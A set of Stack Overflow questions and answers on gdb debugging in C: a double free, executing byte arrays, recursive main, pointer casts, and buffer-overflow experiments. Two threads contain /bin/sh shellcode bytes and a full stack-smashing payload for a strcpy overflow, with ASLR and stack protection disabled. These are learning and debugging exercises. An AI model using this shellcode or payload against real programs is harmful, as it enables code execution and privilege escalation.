Break on variable being freed - c

There's a way to break on a variable/memory address being freed ? Does a simple watchpoint work on this case ?
Scenario, I getting a segfault when the program does the freeing of variables apparently the variable in question is getting free two times, i need know where it's first freed.
PS: lldb and gdb, if possible for both respective commands.

How to do it in gdb
In gdb you can set conditional breakpoints by writing break location if condition.
This means that in order to break on free where the function is invoked with a pointer that refers to some dynamically allocated data, we first have to obtain the address of the dynamically allocated data, and then set a breakpoint with a suitable condition.
Further reading:
sourceware.org :: Conditions - Debugging with gdb
fayewilliams.com - GDB Conditional Breakpoints
Setting up the experiment
/tmp% cat > foo.c <<EOF
> #include <stdlib.h>
>
> void some_function (int * p) {
> free (p);
> }
>
> int main () {
> int * p = malloc (sizeof (int));
>
> some_function (p);
>
> free (p);
>
> return 0;
> }
> EOF
/tmp% gcc -g foo.c -o a.out
The Adventure
/tmp% gdb ./a.out
The first thing we need to do is find a suitable breakpoint so that we can expect the contents of the variable we would like to watch, more specifically the address of the dynamically allocated memory.
(gdb) list main
2
3 void some_function (int * p) {
4 free (p);
5 }
6
7 int main () {
8 int * p = malloc (sizeof (int));
9
10 some_function (p);
11
We will then set a breakpoint on a suitable place, in this case line 9 — we then run the application to see what the value stored in p is.
(gdb) break 9
Breakpoint 1 at 0x400577: file foo.c, line 9.
(gdb) run
Starting program: /tmp/a.out
Breakpoint 1, main () at foo.c:10
(gdb) print p
$1 = (int *) 0x601010
When we know the address we would like to monitor in terms of free, we can easily set a conditional breakpoint at our desired location. First we will need to make sure that free is actually named what we think.
(gdb) disas main
Dump of assembler code for function main:
0x0000000000400561 : push %rbp
0x0000000000400562 : mov %rsp,%rbp
0x0000000000400565 : sub $0x10,%rsp
0x0000000000400569 : mov $0x4,%edi
0x000000000040056e : callq 0x400440 <malloc#plt>
0x0000000000400573 : mov %rax,-0x8(%rbp)
=> 0x0000000000400577 : mov -0x8(%rbp),%rax
0x000000000040057b : mov %rax,%rdi
0x000000000040057e : callq 0x400546 <some_function>
0x0000000000400583 : mov -0x8(%rbp),%rax
0x0000000000400587 : mov %rax,%rdi
0x000000000040058a : callq 0x400410 <free#plt>
0x000000000040058f : mov $0x0,%eax
0x0000000000400594 : leaveq
0x0000000000400595 : retq
We can now create the breakpoint, and continue execution to see where our data is freed:
(gdb) break free#plt if $rdi == 0x601010
Breakpoint 2 at 0x400410 (3 locations)
(gdb) cont
Continuing.
Breakpoint 2, 0x0000000000400410 in free#plt ()
(gdb) backtrace
#0 0x0000000000400410 in free#plt ()
#1 0x000000000040055e in some_function (p=0x601010) at foo.c:4
#2 0x0000000000400583 in main () at foo.c:10
(gdb) cont
Continuing.
Breakpoint 2, 0x0000000000400410 in free#plt ()
(gdb) backtrace
#0 0x0000000000400410 in free#plt ()
#1 0x000000000040058f in main () at foo.c:12
(gdb) cont
Continuing.
*** Error in `/tmp/a.out': double free or corruption (fasttop): 0x0000000000601010 ***
...

Related

Unable to execute code in non-text segments of memory, even with execstack enabled [duplicate]

This question already has answers here:
How to get c code to execute hex machine code?
(7 answers)
Linux default behavior of executable .data section changed between 5.4 and 5.9?
(2 answers)
Closed 1 year ago.
I'm trying to understand the basics of stack smashing attacks but I'm finding that the code seg faults when jumping to the overwritten return address. To isolate the issue, I wrote a small snippet of code exhibiting the same behaviour, using a single NOP instruction stored in the data segment of memory:
char nop[] = "\x90";
int main(){
((void(*)(void))nop)();
}
Which I'm then compiling as follows:
gcc -fno-stack-protector -z execstack nop.c -g -o nop
Executing the code step-wise from the function call in GDB gives the same results:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
1 char nop[] = "\x90";
2 int main(){
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555131 <main+8>: lea 0x2ed8(%rip),%rax # 0x555555558010 <nop>
(gdb) step
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
In similar questions, the issue seems to stem from the data segment being non-executable, which appears to be the case here too. Most answers seem to suggest using the execstack flag to disable this though, which clearly isn't working here.
Any help would be much appreciated!
Edit 1: Quick verification that the execstack flag is being set:
foo#bar:~/path/to/file$ execstack nop
X nop
Edit 2: Rerunning GDB using stepi rather than step suggests that the seg-fault happens the instruction after the code jumps to the NOP:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) break 3
Breakpoint 1 at 0x1131: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) stepi
0x0000555555555138 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555138 <main+15>: callq *%rax
(gdb) stepi
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x0000555555558010 in nop ()
(gdb) x/xi $rip
=> 0x555555558010 <nop>: nop
Just solved the problem, which was a combination of two issues:
I assumed that the execstack flag would make all non-text segments of memory executable, however it seems this is not the case. To fix this, I made the raw hex code a local variable:
int main(){
char nop[] = "\x90";
((void(*)(void))nop)();
}
The next issue seems to have been that, with no return instruction, the code continues executing after the nop until it hits a bad area of memory. To fix this, I wrote a simple function performing the same task...
void nop() {
return;
}
int main(){
nop();
}
Extracted the hex from the disassembled code...
nop:
\xf3\x0f\x1e\xfa endbr64
\x55 push %rbp
\x48\x89\xe5 mov %rsp,%rbp
\x90 nop
\x5d pop %rbp
\xc3 retq
Then used these bytes as the basis for my character array:
int main(){
char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
((void(*)(void))nop)();
}
This led to a successful execution:
foo#bar:~/path/to/file$ gdb -q nop
/home/foo/.gdbinit:1: Error in sourced command file:
Ambiguous set command "dis intel": disable-randomization, disassemble-next-line, disassembler-options, disassembly-flavor...
Reading symbols from nop...
(gdb) list
warning: Source file is more recent than executable.
1 int main(){
2 char nop[] = "\xf3\x0f\x1e\xfa\x55\x48\x89\xe5\x90\x5d\xc3";
3 ((void(*)(void))nop)();
4 }
(gdb) break 3
Breakpoint 1 at 0x114a: file nop.c, line 3.
(gdb) run
Starting program: /home/foo/path/to/file/nop
Breakpoint 1, main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514a <main+33>: lea -0xc(%rbp),%rax
(gdb) stepi
0x000055555555514e 3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x55555555514e <main+37>: callq *%rax
(gdb) stepi
0x00007fffffffe204 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe204: endbr64
(gdb) stepi
0x00007fffffffe208 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe208: push %rbp
(gdb) stepi
0x00007fffffffe209 in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe209: mov %rsp,%rbp
(gdb) stepi
0x00007fffffffe20c in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20c: nop
(gdb) stepi
0x00007fffffffe20d in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20d: pop %rbp
(gdb) stepi
0x00007fffffffe20e in ?? ()
(gdb) x/xi $rip
=> 0x7fffffffe20e: retq
(gdb) stepi
0x0000555555555150 in main () at nop.c:3
3 ((void(*)(void))nop)();
(gdb) x/xi $rip
=> 0x555555555150 <main+39>: mov $0x0,%eax
(gdb) continue
Continuing.
[Inferior 1 (process 68215) exited normally]

SegFault calling main

I've simplified this tiny bit of code that I would expect to be an infinite loop down to:
#include <stddef.h>
int main(int argc, char* argv[]) {
for(int i = 0; i < argc; i++) {
main(argc, NULL);
}
}
(Whether or not you pass argv on doesn't really matter. The compiler tends to optimise it out, anyways.)
However, under both clang 9.0.1 and gcc 9.2.0, the above code segfaults with an address boundary error.
Looking at the asm (that I dumped here), I'm still not seeing anything that would cause this to go haywire.
If you're using gdb, it's pretty easy to miss the fact that a new stack frame is being used on each call. By default, gdb shows you only one stack frame for main, no matter how many recursions are performed:
$ cat recursive_main.c
#include <stddef.h>
int main(int argc, char* argv[]) {
for(int i = 0; i < argc; i++) {
main(argc, NULL);
}
}
$ clang-9 -o recursive_main -Wall -g recursive_main.c
$ ./recursive_main
Segmentation fault (core dumped)
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>bt
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
(gdb)
Continuing.
But if we print out the stack pointer at each entry, we can see that it's decremented each time:
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>info r esp
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffddc0 -8768
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd90 -8816
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd60 -8864
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
esp 0xffffdd30 -8912
(gdb)
So the stack is extended by 0x30 (48) bytes by each recursive call.
The reason for this curious behaviour is that gdb deliberately ends the backtrace when it hits main. It does that because the real entry point of an executable is not main, but rather some platform-dependent code which sets everything up so that main can be called, and then calls main. As a consequence, gdb doesn't really know where the stack "begins". Or rather, it knows where the executable's stack begins, but it has no idea where the program's stack begins. It would be a bit confusing to include functions in the executable's setup code in every backtrace, so by default gdb just stops walking the stack when it hits a frame whose entry point is main. If you know about this option, you can control it:
(gdb) help set backtrace past-main
Set whether backtraces should continue past "main".
Normally the caller of "main" is not of interest, so GDB will terminate
the backtrace at "main". Set this variable if you need to see the rest
of the stack trace.
And with the option set, you can see the various stack frames corresponding to the recursive calls to main:
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) set backtrace past-main 1
(gdb) break main
Breakpoint 1 at 0x4004b6: file recursive_main.c, line 4.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>bt
>end
(gdb) r
Starting program: /home/rici/src/tmp/recursive_main
Breakpoint 1, main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:4
#1 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#2 0x00000000004003da in _start ()
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#2 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#3 0x00000000004003da in _start ()
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#2 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#3 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#4 0x00000000004003da in _start ()
(gdb)
Continuing.
Breakpoint 1, main (argc=1, argv=0x0) at recursive_main.c:4
4 for(int i = 0; i < argc; i++) {
#0 main (argc=1, argv=0x0) at recursive_main.c:4
#1 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#2 0x00000000004004d5 in main (argc=1, argv=0x0) at recursive_main.c:5
#3 0x00000000004004d5 in main (argc=1, argv=0x7fffffffdec8) at recursive_main.c:5
#4 0x00007ffff7a05b97 in __libc_start_main (main=0x4004a0 <main>, argc=1, argv=0x7fffffffdec8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8) at ../csu/libc-start.c:310
#5 0x00000000004003da in _start ()
(gdb)
But while it's probably good to know about this gdb option (and I didn't know about it until 15 minutes ago), it's not really necessary. You can see the code which creates the stack frame at offset 1120 in the disassembly that you linked, although it's easier to see in the -S output (or by using the handy service at http://gcc.godbolt):
0000000000001120 :
1120: 55 push %rbp
1121: 48 89 e5 mov %rsp,%rbp
1124: 48 83 ec 20 sub $0x20,%rsp
1128: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
112f: 89 7d f8 mov %edi,-0x8(%rbp)
1132: 48 89 75 f0 mov %rsi,-0x10(%rbp)
1136: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
113d: 8b 45 ec mov -0x14(%rbp),%eax
1140: 3b 45 f8 cmp -0x8(%rbp),%eax
1143: 0f 8d 1a 00 00 00 jge 1163
1149: 31 c0 xor %eax,%eax
114b: 89 c6 mov %eax,%esi
114d: 8b 7d f8 mov -0x8(%rbp),%edi
1150: e8 cb ff ff ff callq 1120
As you can see, on entry to main (which is at the offset shown, 1120), first %rbp is pushed onto the stack, resulting in %esp being decremented by 8 (for 64-bit mode). Then the stack pointer is decremented by an additional 0x20 (32), leaving space to save the registers that will be used (which include the registers used to pass arguments to the called function, and the register used to store the value of i). Finally (after a bit of work), the callq instruction at offset 1150 is executed, which pushes the address of the next instruction onto the stack, using up another 8 bytes.
So a 48-byte stack frame is pushed on each recursive call. And since the recursion never terminates, that must eventually hit the protected page which precedes the stack, at which point a segfault is signalled.
Note that this does not happen with clang at any positive optimisation level:
$ clang-9 -o recursive_main -Wall -g -O1 recursive_main.c
$ ./recursive_main
$ gdb -q ./recursive_main
Reading symbols from ./recursive_main...done.
(gdb) disass main
Dump of assembler code for function main:
0x00000000004004a0 <+0>: xor %eax,%eax
0x00000000004004a2 <+2>: retq
End of assembler dump.
Here, the compiler has taken advantage of the standard's requirement (in §6.8.5/6, see below) that a loop which has no observable effect can be assumed to terminate; in this case, the compiler assumes that it terminates immediately, which is legitimate because nothing will change before the loop eventually terminates.
GCC does not seem to perform that optimisation, by the way, so it will segfault regardless of optimisation level. At least, that's what happened in my test.
Standard C, §6.8.5 :
An iteration statement whose controlling expression is not a constant expression, that performs no input/output operations, does not access volatile objects, and performs no synchronization or atomic operations in its body, controlling expression, or (in the case of a for statement) its expression-3, may be assumed by the implementation to terminate.
The program causes undefined behaviour due to no forward progress. C11 6.8.5/6:
An iteration statement whose controlling expression is not a constant expression, that performs no input/output operations, does not access volatile objects, and performs no
synchronization or atomic operations in its body, controlling expression, or (in the case of a for statement) its expression-3, may be assumed by the implementation to
terminate.
So the compiler can assume the for loop terminates. Since execution of the loop would actually never terminate, the behaviour is undefined by omission and therefore anything can happen.

Making my C program execute shellcode [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 6 years ago.
Improve this question
I was trying to make my C program execute shellcode. Please look at the following.
root#ninja:~/Desktop/Programs# gdb -q ./a.out
Reading symbols from /root/Desktop/Programs/a.out...done.
(gdb) list 1
1 void function(void) {
2 int *ret;
3 int var;
4 char code[]=
5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
7 "\xe1\xcd\x80";
8 ret = &var + 3;
9 (*ret) = (int) code;
10 }
(gdb)
11
12 void main() {
13 function();
14 }
(gdb) break 9
Breakpoint 1 at 0x804842a: file exp2.c, line 9.
(gdb) break 10
Breakpoint 2 at 0x8048432: file exp2.c, line 10.
(gdb) run
Starting program: /root/Desktop/Programs/a.out
Breakpoint 1, function () at exp2.c:9
9 (*ret) = (int) code;
(gdb) x/9xw code
0xbffff4a4: 0xdb31c031 0xb099c931 0x6a80cda4 0x6851580b
0xbffff4b4: 0x68732f2f 0x69622f68 0x51e3896e 0x8953e289
0xbffff4c4: 0x0080cde1
(gdb) x/i *ret
0x804843c <main+8>: pop %ebp
(gdb) c
Continuing.
Breakpoint 2, function () at exp2.c:10
10 }
(gdb) x/i *ret
0xbffff4a4: xor %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4a4: xor %eax,%eax
0xbffff4a6: xor %ebx,%ebx
0xbffff4a8: xor %ecx,%ecx
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0xbffff4a4 in ?? ()
(gdb) nexti
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
var was used as a point of reference to make ret point to the return address of function(). Then, the return address was changed to the start of code. function() returned to code. However, the program terminated without executing the code. Thanks to #blatinox, I learnt that this was because the stack was non-executable.
I re-compiled the program with -z execstack. The program now could execute the code, but I got another problem:
Starting program: /root/Desktop/Programs/a.out
Breakpoint 1, function () at exp2.c:9
9 (*ret) = (int)code;
(gdb) x/i *ret
0x804843c <main+8>: pop %ebp
(gdb) c
Continuing.
Breakpoint 2, function () at exp2.c:10
10 }
(gdb) x/i *ret
0xbffff4a4: xor %eax,%eax
(gdb) x/i code
0xbffff4a4: xor %eax,%eax
(gdb) nexti(2)
0xbffff4a4 in ?? ()
(gdb) x/17i $eip
=> 0xbffff4a4: xor %eax,%eax
0xbffff4a6: xor %ebx,%ebx
0xbffff4a8: xor %ecx,%ecx
0xbffff4aa: cltd
0xbffff4ab: mov $0xa4,%al
0xbffff4ad: int $0x80
0xbffff4af: push $0xb
0xbffff4b1: pop %eax
0xbffff4b2: push %ecx
0xbffff4b3: push $0x68732f2f
0xbffff4b8: push $0x6e69622f
0xbffff4bd: mov %esp,%ebx
0xbffff4bf: push %ecx
0xbffff4c0: mov %esp,%edx
0xbffff4c2: push %ebx
0xbffff4c3: mov %esp,%ecx
0xbffff4c5: int $0x80
(gdb) nexti(14)
0xbffff4c2 in ?? ()
(gdb) x/3i $eip
=> 0xbffff4c2: push %ebx
0xbffff4c3: mov %esp,%ecx
0xbffff4c5: int $0x80
(gdb) nexti
0xbffff4c3 in ?? ()
(gdb) x/2i $eip
=> 0xbffff4c3: mov %ecx,%esp
0xbffff4c5: hlt
(gdb) nexti
0xbffff4c5 in ?? ()
(gdb) x/i $eip
=> 0xbffff4c5: hlt
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0xbffff4c5 in ?? ()
(gdb)
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
0xbffff4c3: mov %esp,%ecx changed to 0xbffff4c3: mov %ecx,%esp, and 0xbffff4c5: int $0x80 changed to 0xbffff4c5: hlt.
Why did the last two lines of the code change while executing?
Your variable code is on the stack which is probably not executable. Did you change the rights of the stack ?

GDB: Attempt to dereference generic pointer

How can I make GDB do extra dereferences in a printing function like
x/s?
When I try explicit dereferences in x/ I get the error "Attempt to
dereference a generic pointer". Using x/ multiple times works, since
each use includes an implicit dereference, but this is annoying since
I have to copy and paste each intermediate result.
Example
Consider the very useful C program, example.c:
#include <stdio.h>
int main(int argc, char **argv) {
printf("argv[0] = %s\n", argv[0]);
}
If I build it and load it into GDB, I see that argv is stored at
0xc(%ebp), since a double dererence of that is passed as the second
argument to printf (i.e. in 0x4(%esp)) on line 26:
$ gcc -o example example.c
$ gdb example
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and $0xfffffff0,%esp
0x080483ea <+6>: sub $0x10,%esp
0x080483ed <+9>: mov 0xc(%ebp),%eax
0x080483f0 <+12>: mov (%eax),%edx
0x080483f2 <+14>: mov $0x80484e0,%eax
0x080483f7 <+19>: mov %edx,0x4(%esp)
0x080483fb <+23>: mov %eax,(%esp)
0x080483fe <+26>: call 0x8048300 <printf#plt>
0x08048403 <+31>: leave
0x08048404 <+32>: ret
End of assembler dump.
I break at printf and run the program with arguments first and
second:
(gdb) break *main + 26
Breakpoint 1 at 0x80483fe
(gdb) run first second
Starting program: /var/tmp/SO-attempt-to-dereference-generic-pointer/example first second
I attempt to print argv[0] in GDB, but I get the "generic pointer"
error:
Breakpoint 1, 0x080483e5 in main ()
(gdb) x/s **(0xc + $ebp)
Attempt to dereference a generic pointer.
However, by using 'x/xw' to manually dereference a few times, I'm
eventually able to print argv[0] (and argv[1]):
(gdb) x/xw 0xc + $ebp
0xbfffeba4: 0xbfffec34
(gdb) x/xw 0xbfffec34
0xbfffec34: 0xbfffedc8
(gdb) x/s 0xbfffedc8
0xbfffedc8: "/var/tmp/SO-attempt-to-dereference-generic-pointer/example"
(gdb) x/xw 0xbfffec34 + 4
0xbfffec38: 0xbfffee03
(gdb) x/s 0xbfffee03
0xbfffee03: "first"
(gdb)
But this is annoying and indirect (as pointer programming is wont to be?)
The solution is to cast the pointers before dereferencing them.
For example, picking up where we left off above:
(gdb) x/s **((char ***) (0xc + $ebp))
0xbfffedc8: "/var/tmp/SO-attempt-to-dereference-generic-pointer/example"
(gdb) x/s *(*((char ***) (0xc + $ebp)) + 1)
0xbfffee03: "first"
(gdb) x/s *(*((char ***) (0xc + $ebp)) + 2)
0xbfffee09: "second"
Note that the stack address 0xc + $ebp is itself a pointer to the
contents of that stack location, and so we need char *** and not
char **.

stack overflow: Have no idea what modify the last one byte of the overwritten return address

I'm doing a stack overflow experiment with aslr and nx disabled. But the gdb show up a weird result.
Environment:
Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
Disable aslr:
echo 0 > /proc/sys/kernel/randomize_va_space
Compiled the source with execstatck(Debian has no kernel parameter named exec-shield):
gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
Here's description of the problem:
(gdb) disas main
Dump of assembler code for function main:
0x0804841c <+0>: push %ebp
0x0804841d <+1>: mov %esp,%ebp
0x0804841f <+3>: sub $0x208,%esp
0x08048425 <+9>: mov 0xc(%ebp),%eax
0x08048428 <+12>: add $0x4,%eax
0x0804842b <+15>: mov (%eax),%eax
0x0804842d <+17>: mov %eax,0x4(%esp)
0x08048431 <+21>: lea -0x200(%ebp),%eax
0x08048437 <+27>: mov %eax,(%esp)
0x0804843a <+30>: call 0x8048300 <strcpy#plt>
0x0804843f <+35>: mov $0x0,%eax
0x08048444 <+40>: leave
0x08048445 <+41>: ret
End of assembler dump.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()
program is leaded to 0xbafff87d and crashed.This is under expectation.
So i change the address from 0xbafff87d to the address of shellcode: 0xbffff87d.
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip 0xbffff88d 0xbffff88d
but the program is leaded to 0xbffff88d instead of 0xbffff87d and crashed.The last one byte of the return address has been modified. Why?
I try to add a breakpoint before the function 'leave' (0x08048444 <+40>: leave ):
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff518: 0x41414141 0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
the eip is still leaded to 0xbffff88d.
I cannot figure out what makes the return address modified and when this happned.
Maybe I miss out some knowledge there. Beside the question above, I also think that gdb sometimes 'cache' the running result of the debugged program, becase sometimes the gdb show me the same result while I already change the parameters.
Thanks in advance :)
=======
Update for answering Leeor's comment:
It also crash outside gdb. Segmentation fault. The coredump file shows the eip is 0xbffff88b when segfaulted.(While my overwritten value is 0xbffff87d, the last byte is modified)
Manually overwriting the return address:
(gdb) b *0x08048444
Breakpoint 1 at 0x8048444
(gdb) run test
Starting program: /home/xxx/tests/a.out test
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xb7e7ae46
(gdb) x/2 0xbffff71c
0xbffff71c: 0xb7e7ae46 0x00000002
(gdb) set *0xbffff71c=0xbffff87d
(gdb) x/2x $ebp
0xbffff718: 0xbffff798 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff87d in ?? ()
This is working as I expect(There is no valid shellcode at 0xbffff87d cause I run with parameter test. I found that when a "illegal instruction" error occurred, gdb still tell you it's Segment Fault).
But it's still not working while I run it with overflow payload:
(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141 0xbffff87d
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()
The last byte of return address is modified.
I'd say execution goes to the correct address first, just that the instruction there doesn't happen to crash. Try some of the following:
use si instead of c
put a breakpoint on 0xbffff87d
disassemble code at 0xbffff87d
Since your address is on the stack, the contents may be different when stack layout changes. Note that the command line argument is also on the stack, so your runs with test and the actual payload use different stack layout.

Resources